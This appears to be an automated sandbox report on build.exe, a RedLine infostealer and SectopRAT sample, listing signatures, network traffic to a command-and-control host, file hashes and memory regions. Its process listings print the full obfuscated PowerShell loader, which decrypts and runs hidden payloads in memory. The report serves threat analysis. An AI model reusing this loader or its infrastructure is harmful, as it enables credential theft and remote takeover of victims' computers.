Malware Analysis Report

2024-09-11 08:43

Sample ID 240505-wrvhfagh4t
Target build.exe
SHA256 18c790568c6e0e30d600135a33a9e41ff55e076600fec006772d95849abc4def
Tags
redline sectoprat cheat execution infostealer persistence rat spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

18c790568c6e0e30d600135a33a9e41ff55e076600fec006772d95849abc4def

Threat Level: Known bad

The file build.exe was found to be: Known bad.

Malicious Activity Summary

redline sectoprat cheat execution infostealer persistence rat spyware trojan

SectopRAT

RedLine payload

SectopRAT payload

RedLine

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Adds Run key to start application

Program crash

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-05 18:09

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-05 18:09

Reported

2024-05-05 18:15

Platform

win10-20240404-en

Max time kernel

270s

Max time network

299s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.13.31:443 api.ip.sb tcp
US 8.8.8.8:53 31.13.26.104.in-addr.arpa udp
US 104.26.13.31:443 api.ip.sb tcp
US 8.8.8.8:53 api.ip.sb udp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 31.13.26.104.in-addr.arpa udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 66.112.168.52.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 155.57.22.2.in-addr.arpa udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 104.26.13.31:443 api.ip.sb tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 717c25dae776217fbc92897c79fb72b2
SHA1 c3d1bbe2b559c0c18423b80bee499f0d23b3b477
SHA256 8c3def6d2728ca908b96df1ee12de65b03ca1e4975bbc65813154b846058b949
SHA512 4f9a1a953951cbd0cf112939d973fde0dbaff92a4a2149e619ba39998c379ff62d01c6af03005a2c03831d0d989303a7bf3c0c12ba1b3bf85d1b90ab05dd264d

memory/4844-5-0x000000007378E000-0x000000007378F000-memory.dmp

memory/4844-8-0x0000000004A30000-0x0000000004A66000-memory.dmp

memory/4844-9-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-10-0x0000000007270000-0x0000000007898000-memory.dmp

memory/4844-11-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-12-0x0000000007110000-0x0000000007132000-memory.dmp

memory/4844-14-0x0000000007A60000-0x0000000007AC6000-memory.dmp

memory/4844-13-0x00000000079F0000-0x0000000007A56000-memory.dmp

memory/4844-15-0x0000000007AD0000-0x0000000007E20000-memory.dmp

memory/4844-18-0x0000000007950000-0x000000000796C000-memory.dmp

memory/4844-19-0x00000000083F0000-0x000000000843B000-memory.dmp

memory/4844-20-0x0000000008340000-0x00000000083B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ppnrpa0e.lao.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4844-31-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-36-0x0000000009810000-0x0000000009E88000-memory.dmp

memory/4844-37-0x0000000009150000-0x000000000916A000-memory.dmp

memory/4844-38-0x00000000091A0000-0x00000000091A8000-memory.dmp

memory/4844-39-0x00000000091E0000-0x0000000009216000-memory.dmp

memory/4844-42-0x00000000092B0000-0x00000000092CE000-memory.dmp

memory/4844-45-0x000000000A4A0000-0x000000000AAA6000-memory.dmp

memory/4844-46-0x0000000009410000-0x0000000009422000-memory.dmp

memory/4844-47-0x0000000009470000-0x00000000094AE000-memory.dmp

memory/4844-48-0x00000000095F0000-0x00000000096FA000-memory.dmp

memory/4844-54-0x000000007378E000-0x000000007378F000-memory.dmp

memory/4844-55-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-58-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-59-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-90-0x000000000AFB0000-0x000000000B4AE000-memory.dmp

memory/4844-97-0x000000000AAB0000-0x000000000AC72000-memory.dmp

memory/4844-98-0x000000000B9E0000-0x000000000BF0C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp8A55.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmp8A9A.tmp

MD5 f0764eecc2d52e7c433725edd7f6e17a
SHA1 2b6c1165e7ca5c433b29db548ac2624037c8cb38
SHA256 6764736d2bd111036bea0eeb890cd75a5bb4114275abfffe615d9f79049f0ffc
SHA512 3cb2f0abc6925907488de7ecef46d60106efb98cec3c63e24e531bbf94dcd8c89ad57e0a88084eaa5083265f32134e6636f23808622db5cb3f5c83faaba96ef0

C:\Users\Admin\AppData\Local\Temp\tmp8B03.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

memory/4844-261-0x0000000009F30000-0x0000000009FC2000-memory.dmp

memory/4844-262-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

memory/4844-263-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-264-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-439-0x0000000073780000-0x0000000073E6E000-memory.dmp

memory/4844-827-0x0000000073780000-0x0000000073E6E000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-05 18:09

Reported

2024-05-05 18:14

Platform

win11-20240419-en

Max time kernel

292s

Max time network

295s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A ipinfo.io N/A N/A
N/A api.ipify.org N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1512 -ip 1512

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 2884

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1512 -ip 1512

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 2884

Network

Country Destination Domain Proto
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 104.26.13.205:443 api.ipify.org tcp
US 8.8.8.8:53 205.13.26.104.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 205.13.26.104.in-addr.arpa udp
US 8.8.8.8:53 131.72.42.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 717c25dae776217fbc92897c79fb72b2
SHA1 c3d1bbe2b559c0c18423b80bee499f0d23b3b477
SHA256 8c3def6d2728ca908b96df1ee12de65b03ca1e4975bbc65813154b846058b949
SHA512 4f9a1a953951cbd0cf112939d973fde0dbaff92a4a2149e619ba39998c379ff62d01c6af03005a2c03831d0d989303a7bf3c0c12ba1b3bf85d1b90ab05dd264d

memory/1512-3-0x0000000074E0E000-0x0000000074E0F000-memory.dmp

memory/1512-4-0x0000000004E50000-0x0000000004E86000-memory.dmp

memory/1512-5-0x0000000074E00000-0x00000000755B1000-memory.dmp

memory/1512-6-0x0000000074E00000-0x00000000755B1000-memory.dmp

memory/1512-7-0x00000000055E0000-0x0000000005C0A000-memory.dmp

memory/1512-8-0x0000000005490000-0x00000000054B2000-memory.dmp

memory/1512-9-0x0000000005C80000-0x0000000005CE6000-memory.dmp

memory/1512-10-0x0000000005CF0000-0x0000000005D56000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qrq03gbg.dr2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1512-19-0x0000000005D60000-0x00000000060B7000-memory.dmp

memory/1512-20-0x00000000061F0000-0x000000000620E000-memory.dmp

memory/1512-21-0x0000000006230000-0x000000000627C000-memory.dmp

memory/1512-22-0x0000000007A30000-0x00000000080AA000-memory.dmp

memory/1512-23-0x00000000067D0000-0x00000000067EA000-memory.dmp

memory/1512-24-0x00000000073C0000-0x00000000073C8000-memory.dmp

memory/1512-25-0x00000000073D0000-0x0000000007406000-memory.dmp

memory/1512-26-0x0000000007570000-0x000000000758E000-memory.dmp

memory/1512-27-0x00000000086D0000-0x0000000008CE8000-memory.dmp

memory/1512-28-0x0000000007650000-0x0000000007662000-memory.dmp

memory/1512-29-0x00000000076B0000-0x00000000076EC000-memory.dmp

memory/1512-30-0x0000000007800000-0x000000000790A000-memory.dmp

memory/1512-32-0x0000000074E0E000-0x0000000074E0F000-memory.dmp

memory/1512-33-0x0000000074E00000-0x00000000755B1000-memory.dmp

memory/1512-34-0x0000000074E00000-0x00000000755B1000-memory.dmp

memory/1512-59-0x00000000092A0000-0x0000000009846000-memory.dmp

memory/1512-60-0x0000000008200000-0x0000000008292000-memory.dmp

memory/1512-61-0x00000000074C0000-0x0000000007536000-memory.dmp

memory/1512-62-0x0000000074E00000-0x00000000755B1000-memory.dmp